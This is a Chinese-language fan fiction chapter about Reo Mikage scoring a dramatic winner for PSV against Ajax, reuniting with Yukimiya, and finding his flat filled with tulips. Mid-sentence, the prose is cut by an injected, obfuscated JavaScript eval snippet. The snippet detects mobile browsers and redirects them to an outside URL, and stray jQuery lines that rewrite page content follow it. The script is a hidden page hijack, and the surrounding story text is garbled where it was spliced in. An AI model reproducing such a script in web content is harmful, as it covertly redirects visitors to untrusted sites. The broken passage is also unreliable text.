那天的狂欢过后，队内的一切正以神奇的速度滑入某种心照不宣的正轨。御影玲王颈上套着的那把悍妇提琴似乎仍在吱呀作响，但拉出的调子偶尔也能拼凑出几个勉强算得上和谐的短句。


    联赛下一轮，PSV客场对阵阿贾克斯。御影玲王再次登上首发名单，媒体纷纷猜测这是他证明自己的最后机会，用词刻薄依旧。


    赛前热身时他远远看到雪宫剑优，对方挥手算是打过招呼，可惜碍于立场无法上前攀谈。雪宫皱眉，眼睛里的担忧几乎要溢出来了。同在荷甲，就算再不关心队外的消息也会知道他闹出来的动静吧？看那眼神，估计脑补了一出饱受欺凌水深火热的大戏。


    终于，赛前例行握手环节到来。两队球员列队，玲王随着队伍移动，很快来到了雪宫面前。


    两只手握住。雪宫的手掌干燥温暖，用力不小，握紧的时间也略长于礼仪所需。


    “玲王，你还好吗？”阔别许久，雪宫不知道该问什么，他想问的太多，概括一下却只有这一句。传闻中的玲王和他认识里的大相径庭，想也知道是遭受过媒体别有用心的编排。


    “非常好。”玲王微笑，“前段时间克里斯还在问我有没有和你见过，或许我们该聚聚。”


    “但不是现在。”雪宫左右环顾，看到那些个凶神恶煞的队友对手，空气里弥漫着大战将至的火药味，只好苦笑一声松开手。


    上半场玲王助攻达恩打进一球，解说显然对此很是兴奋，揪着玲王刚才的表现大肆点评了一番。第四十三分钟阿贾克斯任意球破门，重新打平比分。中场哨响，双方各带一球返回更衣室。


    “第一次助攻啊小子！你终于睡醒了？”门将搂玲王的脖子，他没有推开，心里想这还不够。


    “喂，阿贾克斯的那个四眼是你的老相好吗？我看他赛前就跟你眉来眼去的。”达恩咕咚咕咚灌了几口运动饮料，蛮横粗鲁地踢了踢玲王的椅子，“你今天倒是装起好学生了？一个脏字都没蹦，传球也乖了——怎么，在人家面前摆起架子了？”


    “我已经不奢求你感激我的助攻了。”玲王叹息，“你能不能嘴巴放干净点？”


    “队长！你听见没？他俩是不是有一腿？一个油头粉面，一个装模作样。他是你的女朋友？你是他的女朋友？”达恩扭头问队长，“看不出来，他们像一对蕾丝边！”


    队长正为下半场战术头疼，被达恩这没头没脑又粗俗不堪的胡扯烦得太阳穴直跳，猛地吼了一声：“好了达恩！闭上你的臭嘴！还有你们！都他妈给我把心思放回比赛上！平局就得意忘形了？阿贾克斯会让我们带着平局舒舒服服回家吗？下半场都给我跑起来！听懂没有？!”


    啊。


    其实还是介意的，玲王想，其实我还是介意的。人只有在举目无亲的远方才能真诚地活着，所以和这群外人如何撕破脸如何纠缠都已经无所谓了。可是，无论如何他都不想在熟悉的人面前丢掉面子。


    御影玲王需要赢。为球队为证明自己，也是为了能以一个足够漂亮的姿态在赛后走向雪宫，告诉他：看，我很好嘛。比在蓝色监狱时还要更好哦。


    护腿板咔嗒扣紧。玲王抬起头，更衣室的灯光落在他眼中，燃烧的紫色此刻亮得惊人。


    下半场久攻不下，直到第七十一分钟的一次快速反击，玲王在中场接球，捕捉到阿贾克斯防线因前压露出的短暂缝隙。一脚穿透力极强的直塞，再次找到了如同坦克般前插的达恩。这一次达恩没有浪费机会，扛开防守球员，一脚低射，皮球再次洞穿网窝。


    PSV再次领先一球！


    达恩疯狂地冲向角旗区，用力捶打自己的胸膛，玲王只是远远地举了下手，胸腔里那股因为久攻不下而积聚的郁气稍散。有机会，要守住。


    然而PSV的后防线似乎被这粒进球短暂地麻醉了，玲王拼命挥手大喊着组织防守也无济于事，仅仅五分钟后，PSV中后卫冒顶，一道敏捷的身影在后点出现——是雪宫剑优！他冷静停下飘忽的来球，用一脚看似轻柔的推射将球送入了远角。


    2-2，比分再次被扳平。


    PSV终于又抓住一次反击机会。球经过几次传递，再次来到中线附近的玲王脚下。他抬头，阿贾克斯的防线正在急速回撤，达恩已经甩开膀子冲向了禁区，一边跑一边回头挥舞手臂，喉咙里发出含糊的咆哮：“传过来！把球给我！”


    机会确实在那里。达恩的位置不错，以他今天的脚感和身体优势或许能制造杀机。


    “......去你的！混蛋！”


    某种强烈的逆反涌上心头，频繁浪费机会的队友让玲王心烦。在昔日的同伴面前，蓝色监狱曾给他的心灵留下的一些东西正在悄然复苏。他干脆放弃了思考，这里没有能跟上他思维的队友！本能于是接管了身体和大脑。


    去你的团队配合！去你的合理选择！去你的——


    我要——


    自己来！！！


    就在达恩几乎要冲进禁区，阿贾克斯后卫线重心向他倾斜的刹那，玲王在距离球门还有三十多米的地方摆动右腿，用外脚背狠狠地抽在了皮球的中下部。


    远程爆射！


    皮球离地而起，带着尖锐的呼啸直奔球门左上角。这一球角度刁钻至极，就在横梁与立柱交界的那一小片理论死角。阿贾克斯的门将甚至没能做出完整的扑救动作，只是本能地侧身抬手，皮球已然擦着他的指尖狠狠地撞进了球网。


    全场有那么几秒钟陷入死一般的寂静。主场球迷张大了嘴，客队球迷似乎也没反应过来。随后各种声音才轰然炸开，惊呼和咒骂夹杂着不敢置信的叹息，以及PSV替补席和客队看台上爆发的呼喊一齐涌来。


    球进了！3-2！绝杀！


    玲王站在原地，胸膛剧烈起伏，看着那还在网底滚动的皮球，看着一脸错愕的雪宫和门前呆若木鸡的达恩。下一秒他做出了一个让所有人都意想不到的动作——


    他冲向了随队远征的客场看台，冲着PSV的球迷们伸出舌头做了个鬼脸！紫发飞扬，汗珠甩落，那张遭人恨的脸上，此刻绽放出生动到有些嚣张的灿烂笑容。怎么样？没想到吧？


    解说惊呼：“天啊，在打入荷甲处子球后，他选择了挑衅自家球迷！Mikage总是让我们大开眼界。”


    “是庆祝。”另一位解说打补丁，“我认为那是他的庆祝动作，尽管有些狂妄。”


    “哇啊啊啊——！！！” PSV的球员们疯了一样冲向他，将他团团围住。只有达恩还站在禁区里，双手叉腰，对着空气骂骂咧咧地踹了脚草皮。


    终场哨响后，球员们三三两两散在场上交谈。雪宫穿过人群走到玲王身边，轻轻拍了拍他的肩膀。


    “恭喜，处子球很漂亮。”雪宫的声音一如既往的平静。


    玲王扬起下巴毫不客气收下赞美，得意的小表情藏都藏不住：“那当然。”


    “所以，”雪宫话锋一转，“你刚才说克里斯提到我？他还说了别的吗？”


    “什么？”玲王愣住。


    “什么什么？”雪宫疑惑。


    “喂——你就问我这个啊？！”玲王拖长音调，眉毛挑得老高，“我还以为你会说什么‘玲王你太厉害了果然那些传闻都是胡说’之类的话呢！结果净问这些无关紧要的小事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949902|191326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……亏我比赛时还想着一定要证明给你看！”


    “啊，是这样吗？”雪宫剑优哑然失笑，“听起来你今天的一球两助还有我的功劳？”


    “当然！好吧......也不全是。”玲王抱起双臂。


    “那真是我的荣幸。”雪宫微微倾身，单手轻按胸口，行了个优雅的致意礼。


    “而且，我希望你知道的。”重新站直后，他认真地看向玲王，“刚才我没有及时询问你的进球，是因为我觉得不需要。无论报纸怎么写，别人怎么说，我从来没有怀疑过你会做到——”


    “因为神所赐给你不是胆怯的心，而是刚强、仁爱、谨守的心*。”


    手机从离开更衣室起就震个不停。玲王一边返回公寓，一边随意划开屏幕。


    未读消息的红点堆成了小山。


    最上面是利亚姆·弗林发来的视频链接，标题是《[超清慢放] 验货Mikage这脚世界波的含金量》，下面跟着一串感叹号和“我就知道！！！”的呐喊。怎么会有人光是发文字就这么吵了？


    士道龙圣：说好的打人呢??为什么没看到你打人??浪费感情！幸好最后赢了，否则下次见面我会教训你??紫包子


    甚至还有U20世界杯后就没怎么联系过的几位国家队队友发来了简单的问候。更让他意外的是，PSV一些此前只是点头之交的几位工作人员也发来了祝贺，语言简单，但善意清晰。


    原来在他自己都未曾刻意经营的地方，真的有这么多眼睛在默默注视着他的奔跑，自己又何须拼了命地想要在旧友面前证明些什么呢？


    他无奈地笑着推开了公寓的门——然而下一秒，一股浓郁的花香扑面而来。


    玲王愣在门口。


    只见原本有些冷清的客厅，此刻俨然变成了一个小型郁金香花圃。玄关、茶几、窗台，甚至餐桌和厨房的流理台上，都错落有致地摆放着一束束郁金香。不同于花店中整齐包装的庆祝用花束，花朵被随意插在各种玻璃瓶甚至马克杯里，颜色各异。


    纯白绯红，明黄深紫……在室内温暖的灯光下，郁金香舒展着丝绒般的花瓣，沾着细微的水珠，将整个空间点缀得明亮而生机盎然。花太多了，几乎占据了所有可用的平面。


    玲王的第一反应是抬头看了看门牌号。这是他的公寓没有错。


    第二个反应，他几乎是立刻掏出手机拨通了塞缪尔·戈尔德的电话。


    铃声响了两下就被接起，背景音是轻柔的爵士乐，显然经纪人先生此刻也还没休息。


    “我亲爱的Boss，恭喜你。一场漂亮的比赛，一个更漂亮的进球。” 塞缪尔的声音带着笑意，“我猜，你现在正站在某个漂亮的房间里？”


    “塞缪尔，你动作也太快了吧？比赛结束才几个小时？”玲王打断他，目光扫过满屋的郁金香，“是我老爸让你弄的？这种夸张的排场很像他的风格。”


    “在此之前就没有怀疑过精灵吗？”


    “塞缪尔。”


    “好吧好吧，没有精灵。但也不是御影社长，东京现在可还是凌晨呢。”塞缪尔说，“纯粹是我的个人行为。如果可以，我是更想在现场给你掌声的，如今只能退而求其次给你鲜花了。”


    “好好享受你的胜利之夜，明天还有训练。哦对了，媒体那边我会处理好，你暂时可以不用理会那些疯狂的采访请求。晚安，Reo。”


    “晚安。”


    环顾着被花朵温柔侵占的住所，这个他视为临时落脚点的新巢，此刻竟充满了不可思议的暖意和生机。


    大概是御影玲王走到哪里，鲜花就会盛开在哪里。